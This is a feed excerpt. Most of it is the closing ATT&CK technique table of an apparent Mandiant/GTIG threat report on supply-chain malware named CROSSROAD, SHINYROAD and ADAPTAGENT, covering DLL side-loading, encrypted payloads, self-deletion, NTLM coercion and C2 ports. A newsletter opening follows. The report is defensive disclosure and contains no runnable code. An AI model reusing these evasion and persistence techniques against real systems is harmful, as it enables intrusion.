&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/006/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1059.006&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Command and Scripting Interpreter: Python&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In-memory execution of compiled bytecode via an embedded PocketPy interpreter (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;RuntimeComponent.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; / &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;WNTestDll.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Execution&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1559/001/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1559.001&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Inter-Process Communication: Component Object Model&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; registers CLSID &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;{21191641-0D7F-4CD9-9572-01AAE6E7851B}&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; as an in-process COM server, causing the Radmin process to load &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;csvc\RuntimeComponent.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Persistence&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1053/005/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1053.005&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Scheduled Task/Job: Scheduled Task&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Scheduled tasks &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;\RadminComponentRuntime&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (running &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;FamItrfc.exe --runtimechk&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;\NitroRuntime&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defense Evasion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1574/001/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1574.001&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Hijack Execution Flow: DLL&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Search-order hijacking of &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; by the signed &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;FamItrfc.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and side-loading of &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Eztwain4.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; by the Nitro PDF masquerading loaders.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defense Evasion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1480/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1480&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Execution Guardrails&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Validation of the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AOMEI&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; directory substring and external IP reflection filtering before secondary payload retrieval.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defense Evasion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1036/005/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1036.005&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Masquerading: Match Legitimate Resource Name or Location&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; masquerades as Radmin's legitimate "blank screen" driver library; ADAPTAGENT loaders masquerade as Nitro PDF tools (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;NitroPromotion.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Eztwain4.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defense Evasion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1027/013/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1027.013&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Obfuscated Files or Information: Encrypted/Encoded File&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SHINYROAD stage-2 Python bytecode stored as ChaCha20-encrypted &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;metadata.dat&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; inside &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;config.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defense Evasion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1140/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1140&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Deobfuscate/Decode Files or Information&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;RuntimeComponent.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; decrypts &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;metadata.dat&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; in memory using ChaCha20 with an HMAC-SHA256 derived key and IV.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defense Evasion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1070/004/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1070.004&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Indicator Removal: File Deletion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Self-deletion of CROSSROAD (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) via a child process spawned with &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;--nitrod&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defense Evasion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1564/004/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1564.004&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Hide Artifacts: NTFS File Attributes&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;CROSSROAD renames its primary &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;:$DATA&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; stream to an alternate data stream named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;:wtfbbq&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; before flagging the file for deletion on handle close.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Credential Access&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1187/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1187&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Forced Authentication&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;WebDAV NTLM coercion via an invisible 1x1 popup rendering a UNC resource, configured inside &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Notifycfg.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1016/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1016&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;System Network Configuration Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;CROSSROAD resolves the host's external IP via &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;myip.opendns.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;o-o.myaddr.l.google.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;checkip.amazonaws.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;api.ipify.org&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;ifconfig.me/ip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;icanhazip.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1614/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1614&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;System Location Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;CROSSROAD aborts its primary payload execution path when the IP-derived country code is &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;"CN"&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (China).&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1082/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1082&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;System Information Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SHINYROAD fingerprints the victim hostname to derive a unique agent identifier.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1033/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1033&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;System Owner/User Discovery&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SHINYROAD incorporates the logged-on username into its unique agent identifier and C2 key derivation.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Command and Control&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1105/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1105&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Ingress Tool Transfer&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;CROSSROAD downloads &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;component.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; / &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;en.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;%TEMP%\svc&amp;lt;random_hex&amp;gt;.tmp&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and unpacks it to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;%LOCALAPPDATA%\Radmin\&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Command and Control&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1571/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1571&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Non-Standard Port&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SHINYROAD custom binary C2 over TCP &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;41397&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;; ADAPTAGENT beacons over TCP &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;6800&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Command and Control&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1573/001/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1573.001&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Encrypted Channel: Symmetric Cryptography&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Custom binary C2 stream encrypted with a hardcoded handshake key, rotating to a host-specific key derived from the agent ID.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Command and Control&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1001/001/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1001.001&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Data Obfuscation: Junk Data&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SHINYROAD generates randomized junk packets (traffic chaffing) to disrupt network signature matching.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Command and Control&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1219/002/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;T1219.002&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Remote Access Tools: Remote Desktop Software&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Deployment of legitimate Famatech Radmin 3.x server components to victim hosts alongside the SHINYROAD backdoor.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Table 6: MITRE ATT&amp;amp;CK techniques&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Acknowledgements&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GTIG and Mandiant would like to thank the ManageEngine Threat Analysis Lab (&lt;/span&gt;&lt;a href="https://www.manageengine.com/threat-analysis-lab" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;METAL&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;) research team for their initial discovery of this activity, proactive telemetry sharing, and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 11:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering/</guid><category>Threat Intelligence</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Investigating Ephemeral Supply Chain Tampering</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Mandiant </name><title></title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Google Threat Intelligence Group </name><title></title><department></department><company></company></author></item><item><title>Cloud CISO Perspectives: New Gemini Notebook can help CISOs and policymakers prepare for PQC</title><link>https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="eucpw"&gt;Welcome to the first Cloud CISO Perspectives for October 2026. Today, Stephanie Kiel explains the latest on our approach to post-quantum cryptography, and shares a new tool to help CISOs and executives prepare their organizations for PQC.&lt;/p&gt;&lt;p data-block-key="efkpo"&gt;As with all Cloud CISO Perspectives, the contents of this newsletter are posted to the &lt;a href="https://cloud.google.com/blog/products/identity-security/"&gt;Google Cloud blog&lt;/a&gt;. If you’re reading this on the website and you’d like to receive the email version, you can &lt;a href="https://cloud.google.com/resources/google-cloud-ciso-newsletter-signup"&gt;subscribe here&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;
